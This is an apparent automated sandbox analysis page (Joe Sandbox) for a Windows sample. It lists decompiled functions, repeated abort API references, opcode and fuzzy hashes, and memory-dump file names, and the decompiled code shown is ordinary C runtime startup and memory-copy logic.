Opcode ID: 6e2c2884f3236eff0c6d4f147b2ca0a0a469bdc2164ec004e2eef4ec767e7105
Instruction ID: 905a1f6b4bd479e04d4e94b009ae8fa8ec0b4a8854b3d3e09b6238a8bf4d1a07
Opcode Fuzzy Hash: 6e2c2884f3236eff0c6d4f147b2ca0a0a469bdc2164ec004e2eef4ec767e7105
Instruction Fuzzy Hash: D4E09A74919619DFCB05DF64D4848ADF7F0BF49700F11589EE981B7312DB34D9048B2A

Uniqueness

Uniqueness Score: -1.00%

Function 003F6A80 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 335COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9F6
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Strings

@, xrefs: 003F6A61

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: c5ae5405937fd0b2bcef09cc9296df74f22dd0cc018f4f58ac967b682d3dc256
Instruction ID: ad0e61a765731f10f20b93ef04d0ea58db420070aa516ec61d996e5ef8655ebb
Opcode Fuzzy Hash: c5ae5405937fd0b2bcef09cc9296df74f22dd0cc018f4f58ac967b682d3dc256
Instruction Fuzzy Hash: 12B15A726083198FCB15CF2DC4D5276BBD6AB84310F0A8A7EDA8697782C335EC59D781

Uniqueness

Uniqueness Score: -1.00%

Function 003F6750 Relevance: 42.2, APIs: 28, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E003F6750(CHAR* __eax, CHAR* __edx) {
				char _v2;
				char _v4;
				void* _v16;
				char _v32;
				CHAR* _v48;
				CHAR* _v52;
				char* _v100;
				signed int _t70;
				struct HINSTANCE__* _t71;
				_Unknown_base(*)()* _t72;
				struct HINSTANCE__* _t75;
				intOrPtr* _t76;
				void* _t78;
				CHAR* _t79;
				void* _t80;
				signed char _t81;
				CHAR* _t86;
				intOrPtr _t87;
				signed int _t89;
				char _t92;
				signed char* _t93;
				signed int _t94;
				void* _t95;
				signed int _t97;
				CHAR* _t100;
				signed int _t104;
				void* _t109;
				signed char* _t111;
				intOrPtr* _t112;
				void* _t114;
				signed int _t116;
				void* _t118;
				void* _t119;
				char** _t120;
				char** _t121;
				intOrPtr* _t123;
				intOrPtr* _t124;

				_t119 = _t118 - 0x2c;
				_v52 = __eax;
				_t70 = __edx[0x60];
				_v48 = __edx;
				if((_t70 & 0x40000000) == 0 ||  *((char*)(__edx + 0x70)) == 0) {
					_t86 = _v48;
					if(_t86[0x10] == 0) {
						_t92 = _t86[0x48];
						if( *0x5130b4 != 4) {
							goto L38;
						} else {
							_v32 = _t92;
							if((_t70 & 0x40000000) != 0) {
								_v48[0x70] = 0;
							}
							_t86 = _v48;
							_t86[0x10] =  &_v32;
							goto L9;
						}
					} else {
						goto L9;
					}
				} else {
					L9:
					_t78 = 0;
					while(1) {
						_t104 = _v52;
						_t100 = _v48;
						_t93 =  *(_t104 + _t78 * 4);
						_t111 =  *(_t100 + _t78 * 4);
						if( *((char*)(_t104 + _t78 + 0x6c)) != 0) {
							break;
						}
						if( *((char*)(_t100 + _t78 + 0x6c)) != 0) {
							if(_t93 == 0) {
								goto L13;
							} else {
								if( *(_t78 + 0x5130b0) != 4) {
									break;
								} else {
									 *_t93 = _t111;
									goto L13;
								}
							}
						} else {
							_t89 = _t86 & 0xffffff00 | _t111 != 0x00000000;
							_t116 = _t89;
							_t104 = _t89 & 0xffffff00 | _t93 != 0x00000000;
							_t86 = _t116;
							if((_t86 & _t104) == 0 || _t93 == _t111) {
								L13:
								_t78 = _t78 + 1;
								if(_t78 == 0x11) {
									goto L24;
								} else {
									continue;
								}
							} else {
								_t116 =  *(_t78 + 0x5130b0) & 0x000000ff;
								if(_t116 >= 4) {
									 *_t93 =  *_t111;
									_t93[(char*)( &_v4)] = _t111[(char*)( &_v4)];
									_t109 =  &(_t93[4]) & 0xfffffffc;
									_t95 = _t93 - _t109;
									_t114 = _t111 - _t95;
									_t97 = _t95 + _t116 >> 2;
									_t78 = memcpy(_t109, _t114, _t97 << 2);
									_t119 = _t119 + 0xc;
									_t104 = _t114 + _t97 + _t97;
									if(_t78 != 0x11) {
										continue;
									} else {
										L24:
										_t79 = _v52;
										if(( *(_t79 + 0x63) & 0x00000040) == 0 ||  *((char*)(_t79 + 0x70)) == 0) {
											_t86 = _v52;
											_t80 = 0;
											if(_t86[0x10] == 0) {
												_t111 = _v48;
												_t94 =  *0x5130b4 & 0x000000ff;
												_t81 = _t111[0x10];
												if((_t111[0x63] & 0x00000040) == 0 || _t111[0x70] == 0) {
													if(_t94 != 4) {
														break;
													} else {
														_t81 =  *_t81;
														goto L37;
													}
												} else {
													L37:
													_t80 = _t81 - _v52[0x48] + _v48[0x68];
													goto L27;
												}
											} else {
												L27:
												return _t80;
											}
										} else {
											return 0;
										}
									}
								} else {
									if(_t116 != 0) {
										 *_t93 =  *_t111 & 0x000000ff;
										if((_t116 & 0x00000002) != 0) {
											_t93[(char*)( &_v2)] = _t111[(char*)( &_v2)] & 0x0000ffff;
										}
									}
									goto L13;
								}
							}
						}
						goto L64;
					}
					L38:
					abort();
					abort();
					abort();
					abort();
					abort();
					L004042F8();
					L004042F8();
					L004042F8();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					L004042F8();
					abort();
					abort();
					abort();
					abort();
					_push(_t116);
					_push(_t104);
					_push(_t111);
					_t120 = _t119 - 0x1c;
					 *_t120 = "libgcc_s_dw2-1.dll";
					_t71 = GetModuleHandleA(_t86);
					_t121 = _t120 - 4;
					if(_t71 == 0) {
						_t72 = 0x3fae40;
						_t112 = E003FA660;
					} else {
						_t87 = _t71;
						 *_t121 = "libgcc_s_dw2-1.dll";
						_t75 = LoadLibraryA(??);
						_t123 = _t121 - 4;
						 *0x513020 = _t75;
						_v100 = "__register_frame_info";
						 *_t123 = _t87;
						_t76 = GetProcAddress(??, ??);
						_t124 = _t123 - 8;
						_t112 = _t76;
						_v100 = "__deregister_frame_info";
						 *_t124 = _t87;
						_t72 = GetProcAddress(??, ??);
						_t121 = _t124 - 8;
					}
					 *0x4a1004 = _t72;
					if(_t112 != 0) {
						_v100 = 0x513024;
						 *_t121 = 0x4d4104;
						 *_t112();
					}
					 *_t121 = 0x3e1560;
					return L003E14A0();
				}
				L64:
			}

0x003f6754
0x003f6757
0x003f675b
0x003f675e
0x003f6767
0x003f676f
0x003f6778
0x003f686f
0x003f6872
0x00000000
0x003f6878
0x003f6878
0x003f6881
0x003f6887
0x003f6887
0x003f688b
0x003f6893
0x00000000
0x003f6893
0x00000000
0x00000000
0x00000000
0x003f677e
0x003f677e
0x003f677e
0x003f67a7
0x003f67a7
0x003f67ab
0x003f67b4
0x003f67b7
0x003f67ba
0x00000000
0x00000000
0x003f67c5
0x003f678a
0x00000000
0x003f678c
0x003f6793
0x00000000
0x003f6799
0x003f6799
0x00000000
0x003f6799
0x003f6793
0x003f67c7
0x003f67c9
0x003f67ce
0x003f67d3
0x003f67d5
0x003f67db
0x003f679b
0x003f679b
0x003f67a1
0x00000000
0x00000000
0x00000000
0x00000000
0x003f67e1
0x003f67e1
0x003f67eb
0x003f6815
0x003f681b
0x003f6822
0x003f6825
0x003f6827
0x003f682b
0x003f682e
0x003f682e
0x003f682e
0x003f6833
0x00000000
0x003f6840
0x003f6840
0x003f6840
0x003f6848
0x003f6850
0x003f6854
0x003f685b
0x003f68a5
0x003f68a9
0x003f68b0
0x003f68b7
0x003f68c2
0x00000000
0x003f68c8
0x003f68c8
0x00000000
0x003f68c8
0x003f68ca
0x003f68ca
0x003f68d5
0x00000000
0x003f68d5
0x003f685d
0x003f685d
0x003f6864
0x003f6864
0x003f689b
0x003f68a4
0x003f68a4
0x003f6848
0x003f67ed
0x003f67ef
0x003f67f4
0x003f67fc
0x003f6803
0x003f6803
0x003f67fc
0x00000000
0x003f67ef
0x003f67eb
0x003f67db
0x00000000
0x003f67c5
0x0049a9ec
0x0049a9ec
0x0049a9f1
0x0049a9f6
0x0049a9fb
0x0049aa00
0x0049aa05
0x0049aa0a
0x0049aa0f
0x0049aa14
0x0049aa19
0x0049aa1e
0x0049aa23
0x0049aa28
0x0049aa2d
0x0049aa32
0x0049aa37
0x0049aa3c
0x0049aa44
0x0049aa49
0x0049aa4e
0x0049aa53
0x0049aa58
0x0049aa5d
0x0049aa62
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c3
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x003e1549
0x00000000

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f70019849ed3c4c154ddc282a4ac2b455491f7ba343577ada7812ded8caf482
Instruction ID: a0163871ca00254478f27a921d21a461ee517431a0fd9f798bf935c04afe61a5
Opcode Fuzzy Hash: 5f70019849ed3c4c154ddc282a4ac2b455491f7ba343577ada7812ded8caf482
Instruction Fuzzy Hash: 7641F5759043499FDB26DF28C486737BBE0BF86328F1A889DDA854B252C335EC49C781

Uniqueness

Uniqueness Score: -1.00%

Function 003F68E0 Relevance: 40.6, APIs: 27, Instructions: 131COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9F1
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9F6
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a783ada22631d3bb440288954cfa367b63d376e9a7f0d1b315a84891f9769e87
Instruction ID: 1fbab3a21926e089b8024c4993a99b6f32163fa02f13119fc5f0fb5b7d012ea4
Opcode Fuzzy Hash: a783ada22631d3bb440288954cfa367b63d376e9a7f0d1b315a84891f9769e87
Instruction Fuzzy Hash: 3431017060870C9FC7118E58C493777B7E9EB84350F91863AEB9487382D378AC64AB96

Uniqueness

Uniqueness Score: -1.00%

Function 003F6E97 Relevance: 37.6, APIs: 25, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f9199f55db9aed6e3c0ef237a1f916abc1898174fafec24faf5a78839998f2
Instruction ID: 79aed1f949417d99b62ef10f1021abcd35428dc077e38775c24cbc0c3588ef09
Opcode Fuzzy Hash: c3f9199f55db9aed6e3c0ef237a1f916abc1898174fafec24faf5a78839998f2
Instruction Fuzzy Hash: A70161B3A00A5507E7154E39C4D6335FAD25FC3354F0A837DDAB6176C6C138AC49A650

Uniqueness

Uniqueness Score: -1.00%

Function 003F6BCC Relevance: 37.6, APIs: 25, Instructions: 50COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 82ac7e22f0b358fa744131d25c015ca966ccbe62d5d6608a4b95386560518a64
Instruction ID: 6470e68250253551108697882f1f1859f80ba3f7f88e7073bbcaf51c48f891a2
Opcode Fuzzy Hash: 82ac7e22f0b358fa744131d25c015ca966ccbe62d5d6608a4b95386560518a64
Instruction Fuzzy Hash: 71E07D7374C30C0AC4103D9EB48007BF764DB82388F021E3EE64973681C214DC5841CE

Uniqueness

Uniqueness Score: -1.00%

Function 003F6DB0 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f48228c6fbd0abe6de9678fbad4c5ed31efc7c1da86e7325ee1034fe0a9b327b
Instruction ID: b4b955aad95a9d2d1a4472945aed30d2475fd6d22ca2e158e4a219ff5fcff9ef
Opcode Fuzzy Hash: f48228c6fbd0abe6de9678fbad4c5ed31efc7c1da86e7325ee1034fe0a9b327b
Instruction Fuzzy Hash: 00D02E70A0C00A4ACB056E2A4098039F6F92A8638CBAA66BDE006B3182D630DA05160E

Uniqueness

Uniqueness Score: -1.00%

Function 003F6E20 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
